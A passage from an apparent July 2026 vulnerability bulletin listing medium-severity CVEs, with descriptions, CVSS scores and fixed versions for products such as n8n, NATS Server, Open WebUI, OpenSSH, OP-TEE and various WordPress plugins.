| metagauss--Memberships and User Profiles for WooCommerce ProfileGrid | The Memberships and User Profiles for WooCommerce - ProfileGrid WooCommerce Integration plugin for WordPress is vulnerable to unauthorized plugin installation and activation in versions up to, and including, 3.4. This is due to a missing capability check and missing nonce validation on the pg_install_profilegrid() AJAX handler registered via wp_ajax_pg_install_profilegrid. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate the ProfileGrid plugin from wordpress.                                                                                                                                                              | 2026-07-09 | 4.3        | <a href="#">CVE-2026-11359</a> |
| mettle--sendportal                                                   | A flaw has been found in mettle sendportal up to 3.0.1. This vulnerability affects unknown code of the file vendor/mettle/sendportal-core/src/Http/Requests/CampaignStoreRequest.php of the component Campaign Creation Endpoint. Executing a manipulation can lead to authorization bypass. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                              | 2026-07-09 | 6.3        | <a href="#">CVE-2026-15191</a> |
| mettle--sendportal                                                   | A vulnerability has been found in mettle sendportal up to 3.0.1. This issue affects the function sendgrid/postmark/postal/mailjet of the component APIv1 Webhooks. The manipulation leads to missing authentication. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                          | 2026-07-09 | 6.5        | <a href="#">CVE-2026-15192</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| MiniTool--Partition Wizard         | A weakness has been identified in MiniTool Partition Wizard up to 13.6. The affected element is an unknown function in the library pwdrvio.sys of the component Signed Kernel Driver. This manipulation causes improper access controls. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. Upgrading to version 13.9 is sufficient to fix this issue. The affected component should be upgraded. The vendor was contacted early about this disclosure.                                                           | 2026-07-12 | 5.3        | <a href="#">CVE-2026-15475</a> |
| mlfactory--DSGVO All in one for WP | The DSGVO All in one for WP plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 4.9. This is due to the dsgvo_reset_policy_service_func() function lacking both capability checks and nonce verification while processing user-supplied parameters to reset plugin options. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset all customized privacy policy content including cookie notices, Google Analytics policies, Facebook policies, and YouTube policies to their default values. | 2026-07-09 | 4.3        | <a href="#">CVE-2026-4298</a>  |
| mockoon--mockoon                   | Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.       | 2026-07-09 | 6.5        | <a href="#">CVE-2026-59149</a> |
| mvantellingen--python-zeep         | Zeep is a Python SOAP client. From 4.0.0 before 4.3.3, Settings.forbid_external is defined but not enforced when parsing WSDL or XSD documents, allowing transitive xsd:import, xsd:include, wsdl:import, and lxml entity or DTD references to fetch attacker-chosen HTTP or HTTPS URLs. This issue is fixed in version 4.3.3.                                                                                                                                                                                                                                                           | 2026-07-08 | 5.9        | <a href="#">CVE-2026-58501</a> |
| n8n--n8n                           | n8n before 2.25.7 and 2.26.x before 2.26.2 contains an authorization bypass in the Public API execution retry endpoint, which authorizes access using the workflow:read scope instead of workflow:execute. An authenticated user with read-only access to a shared workflow can use the Public API to retry executions of that workflow, bypassing the intended permission boundary between read and execute access. This affects instances where workflows are shared with other users or across projects.                                                                              | 2026-07-08 | 6.4        | <a href="#">CVE-2026-56778</a> |
| n8n--n8n                           | n8n before 2.8.0 contains a cross-site scripting vulnerability in the credential management flow where authenticated users can inject malicious JavaScript URLs into OAuth2 credential Authorization URL fields. Attackers can craft malicious credentials and trick victims into clicking the OAuth authorization button, executing arbitrary scripts in their browser session with the victim's privileges.                                                                                                                                                                            | 2026-07-08 | 5.4        | <a href="#">CVE-2026-56359</a> |
| n8n--n8n                           | n8n before 1.123.55, 2.25.7, and 2.26.2 contains an authorization vulnerability in three mutating evaluation test-run endpoints that authorize state-changing actions using the workflow:read scope instead of the action-appropriate workflow:execute scope. On instances using Advanced Permissions (Enterprise/Cloud) with projects and viewer roles, an authenticated user with the project:viewer role can start new evaluation test runs, cancel in-flight runs, and delete run records for workflows they only have read access to.                                               | 2026-07-08 | 5.4        | <a href="#">CVE-2026-56775</a> |
| n8n--n8n                           | n8n before 1.123.24, 2.10.4, and 2.12.0 (across its 1.x and 2.x branches) contains cross-site scripting and open redirect vulnerabilities in the Form Node due to unsanitized HTML description fields and overly permissive iframe sandbox policies. Authenticated users with workflow creation permissions can inject malicious scripts or redirect parameters to perform stored XSS attacks or phishing redirects against end users.                                                                                                                                                   | 2026-07-10 | 4.1        | <a href="#">CVE-2026-56354</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| n8n--n8n                                                 | n8n before versions 1.123.18 and 2.6.2 fails to verify HMAC-SHA256 signatures on Zendesk webhooks in the ZendeskTrigger node. Attackers who know the webhook URL can send unsigned POST requests to trigger workflows with arbitrary malicious data.                                                                                                                                                                                                                                                 | 2026-07-08 | 4          | <a href="#">CVE-2026-56360</a> |
| nandhiniwp--GW AI Website Builder                        | The GW AI Website Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the gwaiwebu_gravitywrite_disconnect_handler() function in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disconnect the plugin from GravityWrite via the 'gwaiwebu_gravitywrite_disconnect' AJAX action.                                                           | 2026-07-10 | 4.3        | <a href="#">CVE-2026-1946</a>  |
| nats-io--nats-server                                     | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a WebSocket listener could route requests for the MQTT-over-WebSocket path into MQTT handling even when MQTT was not configured, allowing an unauthenticated client with access to the WebSocket listener to reach uninitialized MQTT state and crash the server process. This issue is fixed in versions 2.14.3 and 2.12.12.                                         | 2026-07-08 | 6.8        | <a href="#">CVE-2026-58208</a> |
| nats-io--nats-server                                     | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user with subscription deny permissions could bypass a plain subject deny rule by using a queue subscription, because queue-specific deny evaluation could override the plain subject deny result when the queue name itself was not denied. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.                                   | 2026-07-08 | 6.5        | <a href="#">CVE-2026-58251</a> |
| nats-io--nats-server                                     | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user could receive messages on denied subjects when a wildcard subscription overlapped with a configured wildcard deny rule but was not a subset of it, and queue subscriptions could also affect delivery to legitimate queue consumers. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.                                      | 2026-07-08 | 6.5        | <a href="#">CVE-2026-58252</a> |
| nats-io--nats-server                                     | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client could be registered as the configured no_auth_user through a parser path used when the first client operation was not CONNECT, bypassing user-level connection restrictions such as allowed_connection_types or proxy_required that normal authentication would apply. This issue is fixed in versions 2.14.3 and 2.12.12.                                   | 2026-07-08 | 5.4        | <a href="#">CVE-2026-58211</a> |
| nats-io--nats-server                                     | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, MQTT retained message delivery and QoS1+ durable replay could deliver messages whose original topics matched a subscriber configured subscribe deny rule because these delivery paths did not consistently recheck the concrete original topic before sending the MQTT PUBLISH to the subscriber. This issue is fixed in versions 2.14.3 and 2.12.12.                 | 2026-07-08 | 4.3        | <a href="#">CVE-2026-58209</a> |
| nats-io--nats-server                                     | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an authenticated MQTT client could subscribe to the internal \$MQTT.deliver.pubrel subject family, bypassing configured subscribe permissions and exposing MQTT QoS2 protocol metadata for sessions in the account. This issue is fixed in versions 2.14.3 and 2.12.12.                                                                                               | 2026-07-08 | 4.3        | <a href="#">CVE-2026-58214</a> |
| neeraj_slit--Brevo Email, SMS, Web Push, Chat, and more. | The Newsletter, SMTP, Email marketing and Subscribe forms by Brevo (formerly Sendinblue) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the page parameter in all versions up to, and including, 3.1.77 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. | 2026-07-10 | 6.1        | <a href="#">CVE-2026-15297</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| nocobase--nocobase                                          | NocoBase through 2.1.20 contains a server-side request forgery vulnerability in the serverRequest wrapper that allows authenticated administrators to issue arbitrary outbound HTTP requests by supplying malicious URLs to workflow request nodes, custom request action buttons, or the AI plugin. Attackers can target loopback addresses, RFC-1918 private ranges, and cloud instance metadata endpoints to perform internal network port enumeration, host discovery, and retrieval of IAM role credentials from the instance metadata service. v2.1.18 added a warning message for when SERVER_REQUEST_WHITELIST is not configured.        | 2026-07-07 | 5.5        | <a href="#">CVE-2026-58468</a> |
| nodeca--js-yaml                                             | js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 5.3        | <a href="#">CVE-2026-59868</a> |
| nodeca--js-yaml                                             | js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. This issue is fixed in version 5.2.1.                                                                                                                                                                                                                                                                                     | 2026-07-08 | 5.3        | <a href="#">CVE-2026-59870</a> |
| NOMYSOFT Informatics Education and Consulting Inc.--Nomysem | Exposure of sensitive information due to incompatible policies vulnerability in NOMYSOFT Informatics Education and Consulting Inc. Nomysem allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Nomysem: through 08072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                             | 2026-07-08 | 6.5        | <a href="#">CVE-2026-6280</a>  |
| Nozomi Networks--Guardian                                   | A Stored HTML Injection vulnerability was discovered in the Diagram tab and Graph view due to a shared input validation function being insufficiently restrictive. An authenticated user with administrative privileges can inject malicious HTML tags into N2OS configuration data through multiple input vectors. When a victim views the affected data in the Diagram tab and Graph view, the injected HTML renders in their browser, enabling phishing and possibly open redirect attacks. Full XSS exploitation and direct information disclosure are prevented by the existing input validation and Content Security Policy configuration. | 2026-07-09 | 5.9        | <a href="#">CVE-2026-31981</a> |
| Nozomi Networks--Guardian                                   | A Missing Authentication vulnerability was discovered in the SSH keys synchronization endpoint. An unauthenticated attacker can send a request to the SSH keys synchronization endpoint and obtain the list of users that have uploaded their public SSH keys, their groups, and the uploaded public SSH keys.                                                                                                                                                                                                                                                                                                                                   | 2026-07-09 | 5.3        | <a href="#">CVE-2026-31983</a> |
| onnx--onnx                                                  | Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.                                                                                                                                                                                       | 2026-07-08 | 5.5        | <a href="#">CVE-2026-44512</a> |
| OP-TEE--optee_os                                            | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Starting in version 3.21.0 and prior to version 4.11.0, the ARM Crypto Extensions accelerated SHA-3 implementation has an off-by-one error that can cause a massive heap overflow that corrupts all TEE kernel memory following the hash state. This affects all platforms built with `CFG_CRYPTO_WITH_CE82=y` (ARMv8.2+ with SHA3 Crypto Extensions). Version 4.11.0 contains a patch. As a workaround, disable SHA3 Crypto Extensions with `CFG_CRYPTO_WITH_CE82=n`.         | 2026-07-06 | 5.5        | <a href="#">CVE-2026-40257</a> |
| OP-TEE--optee_os                                            | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Starting in version 3.20.0 and prior to version 4.11.0, a vulnerability in OP-TEE's subkey rollback protection allows the use of revoked or older subkey                                                                                                                                                                                                                                                                                                                       | 2026-07-06 | 5.5        | <a href="#">CVE-2026-44362</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | versions because the system fails to propagate versioning data during the Trusted Application (TA) loading process. In `core/crypto/signed_hdr.c`, the function `shdr_load_pub_key()` parses subkey headers but does not assign the `subkey_version` to the runtime `shdr_pub_key` structure. As a result, the `key->version` field remains at zero regardless of the version specified in the header. When `ree_fs_ta_open()` in `core/kernel/ree_fs_ta.c` calls `check_update_version()`, it passes this zeroed version to the rollback database. Because the database never receives a non-zero version to record, it never advances, effectively bypassing the rollback check and allowing TAs signed with downgraded subkey chains to load successfully. This impacts OP-TEE mainline configurations that utilize subkey-based signing chains for Trusted Application (TA) authentication. Version 4.11.0 contains a patch. No known workarounds are available. |            |            |                                |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.2 before 0.10.0, the SKILL_MENTION_RE and strip_re regular expressions in backend/open_webui/utis/middleware.py parsed <\$skillId label> skill mentions with overlapping quantifiers, allowing an authenticated chat message containing <\$ without a closing > to trigger quadratic backtracking and block the asyncio event loop. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 6.5        | <a href="#">CVE-2026-59220</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _verify_knowledge_file_access only checked read access while file write and delete routes later trusted object-derived access through writable model meta.knowledge entries, allowing a user with read-only knowledge file access to upgrade to file write or delete operations. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-09 | 5.4        | <a href="#">CVE-2026-59212</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, the /api/v1/auths/signin endpoint looked users up by email and only ran bcrypt password verification when a credential existed, making registered-account attempts measurably slower than missing-email attempts and allowing unauthenticated account enumeration. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 5.3        | <a href="#">CVE-2026-59218</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.12 before 0.10.0, an authenticated non-admin user with read access to an arena wrapper model can reach a restricted underlying model through task endpoints such as /api/v1/tasks/moa/completions. The normal chat route resolves arena models before the final chat dispatch and therefore re-checks the selected underlying model. The task routes call utils.chat.generate_chat_completion() directly. In that direct path, arena fallback resolution happens after the wrapper access check and then recurses with bypass_filter=True, skipping the selected submodel's access check. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                      | 2026-07-09 | 5.4        | <a href="#">CVE-2026-59225</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, the file upload path accepted metadata.knowledge_id and auto-linked uploaded files to a target knowledge base without applying the write-access check used by /api/v1/knowledge//file/add, allowing read-only knowledge-base users to add arbitrary files. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-09 | 4.3        | <a href="#">CVE-2026-59217</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, WEB_FETCH_FILTER_LIST matching compared configured host entries against URL strings and non-label-boundary suffixes, allowing path-based blacklist bypasses such as !internal.example.com in a URL path and sibling-domain matches that did not reflect the intended hostname policy. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 4.3        | <a href="#">CVE-2026-59223</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.11 before 0.10.0, POST /api/v1/images/edit required only a                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 4.3        | <a href="#">CVE-2026-59227</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | verified account and did not enforce the global image-edit switch or the per-user image-generation permission, allowing a non-admin user to invoke server-side image editing with administrator-configured provider credentials. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                      |            |            |                                |
| OpenBSD--OpenSSH          | sshd in OpenSSH before 10.4 does not always honor the minimum authentication delay.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 6.5        | <a href="#">CVE-2026-60001</a> |
| OpenBSD--OpenSSH          | In sshd in OpenSSH before 10.4, DisableForwarding=yes was supposed to take precedence over PermitTunnel=yes, but did not.                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 5.9        | <a href="#">CVE-2026-59999</a> |
| OpenBSD--OpenSSH          | sftp in OpenSSH before 10.4 does not properly constrain the location of downloaded files when "sftp server:/path ." is used with an attacker-controlled server.                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 4.2        | <a href="#">CVE-2026-59995</a> |
| OpenBSD--OpenSSH          | scp in OpenSSH before 10.4 may place a file in the parent directory of an intended directory when the copy occurs between two remote destinations.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-08 | 4.2        | <a href="#">CVE-2026-59996</a> |
| OpenBSD--OpenSSH          | internal-sftp in sshd in OpenSSH before 10.4 recognizes only the first 9 command-line arguments, which can be important if a later command-line argument would have helped to ensure the intended security properties of an SFTP connection.                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 4.2        | <a href="#">CVE-2026-59997</a> |
| OpenBSD--OpenSSH          | sshd in OpenSSH before 10.4 has an undocumented security-relevant behavior: GSSAPIStrictAcceptorCheck has no value if the server is in Windows Active Directory.                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 4.8        | <a href="#">CVE-2026-59998</a> |
| OpenCTI-Platform--opencti | OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260401.0, the OpenCTI GraphQL API exposes a script filter operator in its FilterOperator enum that allows any authenticated user with the KNOWLEDGE capability to pass user-supplied Elasticsearch Painless script values directly into search queries without validation or sanitization, allowing computationally expensive scripts to consume cluster CPU resources and degrade or deny service for all users. This issue is fixed in version 7.260401.0. | 2026-07-08 | 6.5        | <a href="#">CVE-2026-35211</a> |
| openfga--openfga          | OpenFGA is an authorization/permission engine built for developers. Prior to 1.18.0, OpenFGA's OIDC authenticator skipped JWT audience validation when authn.method was set to oidc, authn.oidc.issuer was configured, and authn.oidc.audience was not set, allowing a token minted for an unrelated service by the same identity provider to authenticate to OpenFGA. This issue is fixed in 1.18.0.                                                                                                                                                                        | 2026-07-09 | 6.8        | <a href="#">CVE-2026-55689</a> |
| openreplay--openreplay    | OpenReplay is a self-hosted session replay suite. Prior to 1.27.0, the session search and analytics API in enterprise editions with multi-tenancy enabled built ClickHouse queries by inserting user input into the query string, including two positions that took input without escaping, allowing an authenticated member to read any ClickHouse table through blind boolean and time-based exfiltration and to break the project's session search for all viewers until the stored key is removed. This issue is fixed in version 1.27.0.                                | 2026-07-10 | 5.4        | <a href="#">CVE-2026-57230</a> |
| OpenStack--Ironic         | OpenStack Ironic through before 37.0.1 allows creation or modification of nodes cross-project without authorization.                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 5.5        | <a href="#">CVE-2026-44918</a> |
| openwrt--openwrt          | OpenWrt is a Linux operating system targeting embedded devices. Before v25.12.5, an integer underflow in handle_send_a() of the Emergency Access Daemon allows any unauthenticated attacker on the local network to crash the daemon by sending a single crafted UDP packet. The message length underflows before a bounds check and is then passed to memcpy as a very large size. This issue is fixed v25.12.5.                                                                                                                                                            | 2026-07-07 | 6.5        | <a href="#">CVE-2026-55490</a> |
| osquery--osquery          | osquery is a SQL powered operating system instrumentation, monitoring, and analytics framework. Prior to 5.23.1, an unprivileged attacker can read the contents of an osquery file carve until the carve completes and the temporary files                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 4.4        | <a href="#">CVE-2026-46388</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                                     | are deleted because in-progress carve directories are not created with private permissions. If the carve targets a directory that the attacker controls, arbitrary file reads are possible, such as sensitive local files. This issue is fixed in version 5.23.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| owasp-modsecurity--ModSecurity                                                                                      | ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 through 3.0.15, the t:utf8toUnicode transformation in src/actions/transformations/utf8_to_unicode.cc produces wrong output on i386 architecture because snprintf uses sizeof on a char pointer rather than the length of the unicode buffer, allowing rules that use this transformation to be bypassed on i386 architecture. This issue is fixed in version 3.0.16.                                                                                                                                                                                                                                               | 2026-07-10 | 5.8        | <a href="#">CVE-2026-52761</a> |
| phpMyFAQ--phpMyFAQ                                                                                                  | phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.                                                                                                                                                                                                                                                        | 2026-07-10 | 5.3        | <a href="#">CVE-2026-57994</a> |
| pig-mesh--Pig                                                                                                       | A vulnerability was identified in pig-mesh Pig up to 3.9.2. Affected by this issue is some unknown functionality of the file \pig-master\pig-visual\pig-codegen\src\main\java\com\pig4cloud\pig\codegen\service\impl\GeneratorServiceImpl.java of the component pig-codegen. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                              | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15512</a> |
| plugins360--All-in-One Video Gallery                                                                                | The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.8.5 via the 'vdl' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. A Subscriber-level attacker can plant an internal or loopback URL in the 'mp4' post meta of a newly created 'aiovg_videos' post via XML-RPC 'wp.newPost', then trigger the unauthenticated '?vdl=<post_id>' endpoint to force the server to fetch that URL and stream the full response body back to the requester. | 2026-07-10 | 6.4        | <a href="#">CVE-2026-12123</a> |
| pluginsGLPI--datainjection                                                                                          | The DataInjection plugin for GLPI 2.15.6 (GLPI 11 builds) concatenates user-supplied CSV field values directly into SQL queries during CSV import, without parameterization or escaping, resulting in authenticated SQL injection. An authenticated user with access to the Data injection feature can embed SQL expressions such as SLEEP() in a mapped field (for example Serial Number) to manipulate the generated query and extract database information via time-based blind injection.                                                                                                                                                                                                                                                | 2026-07-10 | 6.4        | <a href="#">CVE-2026-11321</a> |
| posimyththemes--Nexter Blocks Gutenberg Blocks, Page Builder & AI Website Builder                                   | The Nexter Blocks - Gutenberg Blocks, Page Builder & AI Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'commentIcon' parameter in all versions up to, and including, 4.7.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                         | 2026-07-08 | 6.4        | <a href="#">CVE-2026-6740</a>  |
| posimyththemes--The Plus Addons for Elementor Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce | The Plus Addons for Elementor plugin for WordPress was vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the Button widget's 'custom_attributes' setting in versions up to and including 6.4.11. The 'render' function in 'modules/widgets/tp_button.php' passed the raw 'custom_attributes' string through 'tp_sanitize_js_input()'. This filter is bypassable. The issue is patched in version 6.4.12.                                                                                                                                                                                                                                                                                                            | 2026-07-10 | 6.4        | <a href="#">CVE-2026-15285</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| postmagthemes--Context Blog                               | The Context Blog theme for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.5 via the <code>context_blog_modal_popup</code> . This makes it possible for unauthenticated attackers to extract the content of password-protected posts.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-11 | 5.3        | <a href="#">CVE-2026-6801</a>  |
| prasunsen--Hostel                                         | The Hostel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the <code>'wphostel-book'</code> shortcode in all versions up to and including 1.1.7. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the second shortcode attribute (used as button text) is passed to the <code>\$text</code> variable without sanitization at line 79 and then output directly into an HTML <code>'value'</code> attribute at line 91 without <code>'esc_attr()'</code> or any other escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                 | 2026-07-10 | 6.4        | <a href="#">CVE-2026-3907</a>  |
| printfriendly--Print, PDF & Email by PrintFriendly        | The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the <code>'content_position_css'</code> parameter in all versions up to, and including, 5.5.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-11 | 4.4        | <a href="#">CVE-2026-9738</a>  |
| priyanshuchaudhary--FlowForms Conversational Form Builder | The FlowForms - Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.1 via the <code>update_form</code> due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to modify the content, design, and settings of, as well as publish or revert, any form on the site - including forms owned by administrators - by supplying an arbitrary form ID in the REST URL.                                                                                                                                                                                                                                                                                                                            | 2026-07-10 | 4.3        | <a href="#">CVE-2026-12400</a> |
